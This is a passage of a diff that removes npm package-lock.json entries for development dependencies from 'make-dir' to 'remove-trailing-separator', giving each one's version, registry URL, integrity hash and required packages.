-    },
-    "make-dir": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
-      "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
-      "dev": true,
-      "requires": {
-        "semver": "^6.0.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
-          "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
-          "dev": true
-        }
-      }
-    },
-    "make-error": {
-      "version": "1.3.6",
-      "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
-      "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==",
-      "dev": true
-    },
-    "makeerror": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.11.tgz",
-      "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=",
-      "dev": true,
-      "requires": {
-        "tmpl": "1.0.x"
-      }
-    },
-    "map-cache": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
-      "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=",
-      "dev": true
-    },
-    "map-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
-      "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
-      "dev": true,
-      "requires": {
-        "object-visit": "^1.0.0"
-      }
-    },
-    "merge-stream": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
-      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
-      "dev": true
-    },
-    "micromatch": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
-      "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
-      "dev": true,
-      "requires": {
-        "braces": "^3.0.1",
-        "picomatch": "^2.0.5"
-      }
-    },
-    "mime-db": {
-      "version": "1.44.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz",
-      "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==",
-      "dev": true
-    },
-    "mime-types": {
-      "version": "2.1.27",
-      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz",
-      "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==",
-      "dev": true,
-      "requires": {
-        "mime-db": "1.44.0"
-      }
-    },
-    "mimic-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
-      "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
-      "dev": true
-    },
-    "minimatch": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
-      "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
-      "dev": true,
-      "requires": {
-        "brace-expansion": "^1.1.7"
-      }
-    },
-    "minimist": {
-      "version": "1.2.5",
-      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
-      "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
-      "dev": true
-    },
-    "mixin-deep": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
-      "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
-      "dev": true,
-      "requires": {
-        "for-in": "^1.0.2",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
-          "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
-          "dev": true,
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        },
-        "is-plain-object": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
-          "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
-          "dev": true,
-          "requires": {
-            "isobject": "^3.0.1"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "mkdirp": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
-      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
-      "dev": true
-    },
-    "ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
-      "dev": true
-    },
-    "mute-stream": {
-      "version": "0.0.8",
-      "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
-      "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==",
-      "dev": true
-    },
-    "nanomatch": {
-      "version": "1.2.13",
-      "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
-      "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
-      "dev": true,
-      "requires": {
-        "arr-diff": "^4.0.0",
-        "array-unique": "^0.3.2",
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "fragment-cache": "^0.2.1",
-        "is-windows": "^1.0.2",
-        "kind-of": "^6.0.2",
-        "object.pick": "^1.3.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      }
-    },
-    "natural-compare": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
-      "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=",
-      "dev": true
-    },
-    "nice-try": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
-      "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==",
-      "dev": true
-    },
-    "node-fetch": {
-      "version": "2.6.1",
-      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
-      "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
-      "dev": true
-    },
-    "node-int64": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
-      "integrity": "sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=",
-      "dev": true
-    },
-    "node-modules-regexp": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz",
-      "integrity": "sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=",
-      "dev": true
-    },
-    "node-notifier": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/node-notifier/-/node-notifier-7.0.0.tgz",
-      "integrity": "sha512-y8ThJESxsHcak81PGpzWwQKxzk+5YtP3IxR8AYdpXQ1IB6FmcVzFdZXrkPin49F/DKUCfeeiziB8ptY9npzGuA==",
-      "dev": true,
-      "optional": true,
-      "requires": {
-        "growly": "^1.3.0",
-        "is-wsl": "^2.1.1",
-        "semver": "^7.2.1",
-        "shellwords": "^0.1.1",
-        "uuid": "^7.0.3",
-        "which": "^2.0.2"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.2",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
-          "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
-          "dev": true,
-          "optional": true
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
-          "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
-          "dev": true,
-          "optional": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "normalize-package-data": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
-      "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
-      "dev": true,
-      "requires": {
-        "hosted-git-info": "^2.1.4",
-        "resolve": "^1.10.0",
-        "semver": "2 || 3 || 4 || 5",
-        "validate-npm-package-license": "^3.0.1"
-      }
-    },
-    "normalize-path": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
-      "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
-      "dev": true
-    },
-    "npm-run-path": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
-      "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=",
-      "dev": true,
-      "requires": {
-        "path-key": "^2.0.0"
-      }
-    },
-    "nwsapi": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz",
-      "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==",
-      "dev": true
-    },
-    "oauth-sign": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
-      "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==",
-      "dev": true
-    },
-    "object-copy": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
-      "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
-      "dev": true,
-      "requires": {
-        "copy-descriptor": "^0.1.0",
-        "define-property": "^0.2.5",
-        "kind-of": "^3.0.3"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "object-visit": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
-      "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=",
-      "dev": true,
-      "requires": {
-        "isobject": "^3.0.0"
-      },
-      "dependencies": {
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "object.pick": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
-      "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
-      "dev": true,
-      "requires": {
-        "isobject": "^3.0.1"
-      },
-      "dependencies": {
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "octokit-pagination-methods": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/octokit-pagination-methods/-/octokit-pagination-methods-1.1.0.tgz",
-      "integrity": "sha512-fZ4qZdQ2nxJvtcasX7Ghl+WlWS/d9IgnBIwFZXVNNZUmzpno91SX5bc5vuxiuKoCtK78XxGGNuSCrDC7xYB3OQ==",
-      "dev": true
-    },
-    "once": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
-      "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
-      "dev": true,
-      "requires": {
-        "wrappy": "1"
-      }
-    },
-    "onetime": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.0.tgz",
-      "integrity": "sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==",
-      "dev": true,
-      "requires": {
-        "mimic-fn": "^2.1.0"
-      }
-    },
-    "optionator": {
-      "version": "0.8.3",
-      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
-      "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
-      "dev": true,
-      "requires": {
-        "deep-is": "~0.1.3",
-        "fast-levenshtein": "~2.0.6",
-        "levn": "~0.3.0",
-        "prelude-ls": "~1.1.2",
-        "type-check": "~0.3.2",
-        "word-wrap": "~1.2.3"
-      }
-    },
-    "os-name": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz",
-      "integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==",
-      "dev": true,
-      "requires": {
-        "macos-release": "^2.2.0",
-        "windows-release": "^3.1.0"
-      }
-    },
-    "os-tmpdir": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
-      "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=",
-      "dev": true
-    },
-    "p-each-series": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/p-each-series/-/p-each-series-2.1.0.tgz",
-      "integrity": "sha512-ZuRs1miPT4HrjFa+9fRfOFXxGJfORgelKV9f9nNOWw2gl6gVsRaVDOQP0+MI0G0wGKns1Yacsu0GjOFbTK0JFQ==",
-      "dev": true
-    },
-    "p-finally": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
-      "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=",
-      "dev": true
-    },
-    "p-limit": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-      "dev": true,
-      "requires": {
-        "p-try": "^2.0.0"
-      }
-    },
-    "p-locate": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
-      "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
-      "dev": true,
-      "requires": {
-        "p-limit": "^2.2.0"
-      }
-    },
-    "p-try": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-      "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
-      "dev": true
-    },
-    "parent-module": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
-      "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
-      "dev": true,
-      "requires": {
-        "callsites": "^3.0.0"
-      }
-    },
-    "parse-json": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz",
-      "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "error-ex": "^1.3.1",
-        "json-parse-better-errors": "^1.0.1",
-        "lines-and-columns": "^1.1.6"
-      }
-    },
-    "parse5": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz",
-      "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==",
-      "dev": true
-    },
-    "pascalcase": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
-      "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=",
-      "dev": true
-    },
-    "path-exists": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
-      "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
-      "dev": true
-    },
-    "path-is-absolute": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
-      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
-      "dev": true
-    },
-    "path-key": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
-      "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=",
-      "dev": true
-    },
-    "path-parse": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
-      "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==",
-      "dev": true
-    },
-    "performance-now": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
-      "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=",
-      "dev": true
-    },
-    "picomatch": {
-      "version": "2.2.2",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
-      "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==",
-      "dev": true
-    },
-    "pirates": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.1.tgz",
-      "integrity": "sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==",
-      "dev": true,
-      "requires": {
-        "node-modules-regexp": "^1.0.0"
-      }
-    },
-    "pkg-dir": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
-      "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
-      "dev": true,
-      "requires": {
-        "find-up": "^4.0.0"
-      }
-    },
-    "posix-character-classes": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
-      "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=",
-      "dev": true
-    },
-    "prelude-ls": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
-      "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=",
-      "dev": true
-    },
-    "prettier": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.0.5.tgz",
-      "integrity": "sha512-7PtVymN48hGcO4fGjybyBSIWDsLU4H4XlvOHfq91pz9kkGlonzwTfYkaIEwiRg/dAJF9YlbsduBAgtYLi+8cFg==",
-      "dev": true
-    },
-    "prettier-linter-helpers": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz",
-      "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==",
-      "dev": true,
-      "requires": {
-        "fast-diff": "^1.1.2"
-      }
-    },
-    "pretty-format": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.0.1.tgz",
-      "integrity": "sha512-SWxz6MbupT3ZSlL0Po4WF/KujhQaVehijR2blyRDCzk9e45EaYMVhMBn49fnRuHxtkSpXTes1GxNpVmH86Bxfw==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "ansi-regex": "^5.0.0",
-        "ansi-styles": "^4.0.0",
-        "react-is": "^16.12.0"
-      }
-    },
-    "progress": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
-      "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
-      "dev": true
-    },
-    "prompts": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.3.2.tgz",
-      "integrity": "sha512-Q06uKs2CkNYVID0VqwfAl9mipo99zkBv/n2JtWY89Yxa3ZabWSrs0e2KTudKVa3peLUvYXMefDqIleLPVUBZMA==",
-      "dev": true,
-      "requires": {
-        "kleur": "^3.0.3",
-        "sisteransi": "^1.0.4"
-      }
-    },
-    "psl": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
-      "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==",
-      "dev": true
-    },
-    "pump": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
-      "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
-      "dev": true,
-      "requires": {
-        "end-of-stream": "^1.1.0",
-        "once": "^1.3.1"
-      }
-    },
-    "punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "dev": true
-    },
-    "qs": {
-      "version": "6.5.2",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
-      "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==",
-      "dev": true
-    },
-    "react-is": {
-      "version": "16.13.1",
-      "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
-      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==",
-      "dev": true
-    },
-    "read-pkg": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz",
-      "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==",
-      "dev": true,
-      "requires": {
-        "@types/normalize-package-data": "^2.4.0",
-        "normalize-package-data": "^2.5.0",
-        "parse-json": "^5.0.0",
-        "type-fest": "^0.6.0"
-      },
-      "dependencies": {
-        "type-fest": {
-          "version": "0.6.0",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz",
-          "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==",
-          "dev": true
-        }
-      }
-    },
-    "read-pkg-up": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz",
-      "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==",
-      "dev": true,
-      "requires": {
-        "find-up": "^4.1.0",
-        "read-pkg": "^5.2.0",
-        "type-fest": "^0.8.1"
-      }
-    },
-    "regex-not": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
-      "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
-      "dev": true,
-      "requires": {
-        "extend-shallow": "^3.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "regexpp": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.1.0.tgz",
-      "integrity": "sha512-ZOIzd8yVsQQA7j8GCSlPGXwg5PfmA1mrq0JP4nGhh54LaKN3xdai/vHUDu74pKwV8OxseMS65u2NImosQcSD0Q==",
-      "dev": true
-    },
-    "remove-trailing-separator": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
